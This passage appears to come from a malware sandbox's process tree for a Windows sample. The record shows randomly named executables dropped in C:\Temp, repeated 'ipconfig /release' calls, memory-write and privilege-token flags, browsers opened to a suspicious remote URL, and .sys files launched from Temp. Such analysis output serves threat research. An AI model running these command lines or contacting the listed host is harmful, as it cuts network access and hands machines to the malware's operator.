      C:\Temp\fcausnkfcx.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5432
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5788
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_fcausnkfcx.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5328
  - - C:\Temp\i_fcausnkfcx.exe
      C:\Temp\i_fcausnkfcx.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2176
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\rpmhfzxrpk.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4388
  - - C:\Temp\rpmhfzxrpk.exe
      C:\Temp\rpmhfzxrpk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2896
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1264
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4536
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_rpmhfzxrpk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5344
  - - C:\Temp\i_rpmhfzxrpk.exe
      C:\Temp\i_rpmhfzxrpk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6036
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\jheztrpjhb.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3264
  - - C:\Temp\jheztrpjhb.exe
      C:\Temp\jheztrpjhb.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2072
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3336
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1268
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jheztrpjhb.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4476
  - - C:\Temp\i_jheztrpjhb.exe
      C:\Temp\i_jheztrpjhb.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:852
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\omjhbztrmj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:244
  - - C:\Temp\omjhbztrmj.exe
      C:\Temp\omjhbztrmj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4640
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2904
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2972
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_omjhbztrmj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2900
  - - C:\Temp\i_omjhbztrmj.exe
      C:\Temp\i_omjhbztrmj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2136
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wtoljebwuo.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4660
  - - C:\Temp\wtoljebwuo.exe
      C:\Temp\wtoljebwuo.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2748
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2752
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4180
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wtoljebwuo.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4592
  - - C:\Temp\i_wtoljebwuo.exe
      C:\Temp\i_wtoljebwuo.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1632
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ljdbvtnljd.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4632
  - - C:\Temp\ljdbvtnljd.exe
      C:\Temp\ljdbvtnljd.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3108
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:976
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:432
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ljdbvtnljd.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:616
  - - C:\Temp\i_ljdbvtnljd.exe
      C:\Temp\i_ljdbvtnljd.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtnlfdxvqn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1816
  - - C:\Temp\vtnlfdxvqn.exe
      C:\Temp\vtnlfdxvqn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4076
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3188
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3864
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vtnlfdxvqn.exe ups_ins
    3⤵
    PID:4684
  - - C:\Temp\i_vtnlfdxvqn.exe
      C:\Temp\i_vtnlfdxvqn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4244
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ifdyvqniga.exe ups_run
    3⤵
    PID:3828
  - - C:\Temp\ifdyvqniga.exe
      C:\Temp\ifdyvqniga.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3940
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2284
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ifdyvqniga.exe ups_ins
    3⤵
    PID:1416
  - - C:\Temp\i_ifdyvqniga.exe
      C:\Temp\i_ifdyvqniga.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6036
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dxvpnifays.exe ups_run
    3⤵
    PID:4544
  - - C:\Temp\dxvpnifays.exe
      C:\Temp\dxvpnifays.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6124
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1056
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3832
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dxvpnifays.exe ups_ins
    3⤵
    PID:1784
  - - C:\Temp\i_dxvpnifays.exe
      C:\Temp\i_dxvpnifays.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2424
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\xuspnhfcxu.exe ups_run
    3⤵
    PID:4236
  - - C:\Temp\xuspnhfcxu.exe
      C:\Temp\xuspnhfcxu.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2344
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3480
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2252
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_xuspnhfcxu.exe ups_ins
    3⤵
    PID:5896
  - - C:\Temp\i_xuspnhfcxu.exe
      C:\Temp\i_xuspnhfcxu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3372
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\zurmkecwup.exe ups_run
    3⤵
    PID:3728
  - - C:\Temp\zurmkecwup.exe
      C:\Temp\zurmkecwup.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4964
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2228
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3624
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_zurmkecwup.exe ups_ins
    3⤵
    PID:5068
  - - C:\Temp\i_zurmkecwup.exe
      C:\Temp\i_zurmkecwup.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4644
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wurmjhbzxr.exe ups_run
    3⤵
    PID:2808
  - - C:\Temp\wurmjhbzxr.exe
      C:\Temp\wurmjhbzxr.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1668
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3700
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4272
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wurmjhbzxr.exe ups_ins
    3⤵
    PID:5604
  - - C:\Temp\i_wurmjhbzxr.exe
      C:\Temp\i_wurmjhbzxr.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3680
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\gezwrojebw.exe ups_run
    3⤵
    PID:1136
  - - C:\Temp\gezwrojebw.exe
      C:\Temp\gezwrojebw.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:784
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3168
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3148
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_gezwrojebw.exe ups_ins
    3⤵
    PID:5396
  - - C:\Temp\i_gezwrojebw.exe
      C:\Temp\i_gezwrojebw.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1724
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qolgdbztqo.exe ups_run
    3⤵
    PID:1944
  - - C:\Temp\qolgdbztqo.exe
      C:\Temp\qolgdbztqo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:348
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:1884
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:708
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qolgdbztqo.exe ups_ins
    3⤵
    PID:1820
  - - C:\Temp\i_qolgdbztqo.exe
      C:\Temp\i_qolgdbztqo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qlidbvtnlg.exe ups_run
    3⤵
    PID:4320
  - - C:\Temp\qlidbvtnlg.exe
      C:\Temp\qlidbvtnlg.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3436
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5980
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3876
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qlidbvtnlg.exe ups_ins
    3⤵
    PID:4084
  - - C:\Temp\i_qlidbvtnlg.exe
      C:\Temp\i_qlidbvtnlg.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5056
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f4,0x2f8,0x2fc,0x2f0,0x2cc,0x7ffb5f71c188,0x7ffb5f71c194,0x7ffb5f71c1a0
      4⤵
      PID:3164
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1616,i,16257252238231288985,7671456770067632940,262144 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=2316 /prefetch:2
      4⤵
      PID:4896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1944,i,1485909192113640740,8828694800499773453,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:11
      4⤵
      System Time Discovery
      PID:5516
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2404,i,15021235604650128219,6601870819092252363,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=3288 /prefetch:13
      4⤵
      PID:5592
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3556,i,7211587214763556884,15769917811128874699,2097152 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
      4⤵
      PID:2600
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3564,i,8612090873282769458,8918581709323422835,2097152 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
      4⤵
      PID:3932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4288,i,13233751419723961242,1051891763493485610,2097152 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=4320 /prefetch:1
      4⤵
      PID:5252
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4296,i,14461966737137420084,2535481162255891499,2097152 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=4324 /prefetch:9
      4⤵
      PID:5660
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3584,i,7505336892718864318,15252075194461366067,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:14
      4⤵
      PID:5768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5108,i,8200267286589838022,3705913221335994937,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=5452 /prefetch:14
      4⤵
      PID:3268
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3580,i,6284192243810553533,7850503095868826205,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
      4⤵
      PID:3508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,6647848928833940840,8202797568965747524,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:14
      4⤵
      PID:5544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,6647848928833940840,8202797568965747524,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6136 /prefetch:14
      4⤵
      PID:4688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6316,i,16328446342039556885,13119385729945295350,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6320 /prefetch:14
      4⤵
      PID:4508
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6408,i,14089513502395615323,15032908937077411592,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
      4⤵
      PID:5568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3664,i,17535840565005400805,1879007542086168325,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=5024 /prefetch:14
      4⤵
      PID:1792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5036,i,8637544618712740057,13105982377130381668,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=4952 /prefetch:14
      4⤵
      PID:5656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5040,i,16664562338196752275,5358865760909134702,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=4372 /prefetch:14
      4⤵
      PID:3048
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2972,i,9682228180652469500,3957900735864353419,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:14
      4⤵
      PID:3288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6300,i,8211614414623407907,6198524009984176775,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6672 /prefetch:14
      4⤵
      PID:4560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2016,i,3910455213741668281,329280445780254552,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=920 /prefetch:14
      4⤵
      PID:1136
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6088,i,15188260844942615537,14908516512507347760,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6716 /prefetch:14
      4⤵
      PID:2352
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6356,i,10304288360246437790,8002665824377162496,262144 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6692 /prefetch:10
      4⤵
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,14309396550048792776,9359959041886427042,524288 --field-trial-handle=2320,i,2880373016518706652,12210777110839515799,262144 --variations-seed-version --mojo-platform-channel-handle=6032 /prefetch:14
      4⤵
      PID:3312

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5912

C:\Temp\rljebwtomgeywtol.sys
C:\Temp\rljebwtomgeywtol.sys
1⤵
- Executes dropped EXE
PID:5812

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4272

C:\Temp\vqoigaytql.sys
C:\Temp\vqoigaytql.sys
1⤵
- Executes dropped EXE
PID:2156

C:\Temp\lfdyvqolgd.sys
C:\Temp\lfdyvqolgd.sys
1⤵
- Executes dropped EXE
PID:2520

C:\Temp\snlidavsnl.sys
C:\Temp\snlidavsnl.sys
1⤵
- Executes dropped EXE
PID:2720

C:\Temp\hfaxsqkica.sys
C:\Temp\hfaxsqkica.sys
1⤵
- Executes dropped EXE
